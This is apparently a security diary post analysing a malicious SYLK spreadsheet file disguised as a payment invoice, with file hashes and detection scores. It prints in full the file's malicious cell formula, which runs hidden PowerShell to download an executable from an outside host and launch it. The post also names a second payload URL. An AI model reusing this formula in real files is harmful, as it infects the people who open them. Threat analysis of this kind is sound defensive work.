Attackers are always trying to find new ways to infect computers by luring not only potential victims but also security controls like anti-virus products. Do you know what SYLK files are? SYmbolic LinK files (they use the .slk extension) are Microsoft files used to exchange data between applications, specifically spreadsheets[1]. In Windows environments, there are represented with an icon similar to Excel:

Here is a sample I found (SHA256: a08c4235b6d93a463df543bd915407b56f4efd00f30497723fca54dccac580ad) with a very low VT store (2/59)[2]. Being a simple text file, it does not look suspicious:

$ file Payment_Invoice#287718.slk
Payment_Invoice#287718.slk: ASCII text, with very long lines, with CRLF line terminators, with escape sequences

Once opened, depending on your environment, Excel may ask you to update some dynamic content found in the file. Otherwise, you will be in a bad situation and Excel will update the content of the following cell:

=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c powershell.exe -w hidden -nop -ep bypass \
     -Command (new-object System.Net.WebClient).DownloadFile(''hxxps://dyvrullters[.]in/dyv/ojoh.exe'',''operaplate.exe''); \
     & start operaplate.exe'!_xlbgnm.A1

This is a common trick to make Excel execute some code.

The downloaded payload (SHA256: 17afcbb091442bb609220b6470baa5fe772f4fd4164692f446743bf58c5d024f) has hopefully a better detection score:  38/65[3].

Update: This morning, I found another one (SHA256: cabb190a05e7381e07c42e37f01c1eec8b0c5323d5c5633c61e44df90d905c9e)[4] which downloads a PowerShell payload from hxxp://tools.newsrental[.]net/jsxlhlwdg/pxxas/.

[1] https://en.wikipedia.org/wiki/SYmbolic_LinK_(SYLK)
[2] https://www.virustotal.com/#/file/a08c4235b6d93a463df543bd915407b56f4efd00f30497723fca54dccac580ad/detection
[3] https://www.virustotal.com/#/file/17afcbb091442bb609220b6470baa5fe772f4fd4164692f446743bf58c5d024f/detection
[4] https://www.virustotal.com/#/file/cabb190a05e7381e07c42e37f01c1eec8b0c5323d5c5633c61e44df90d905c9e/detection

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key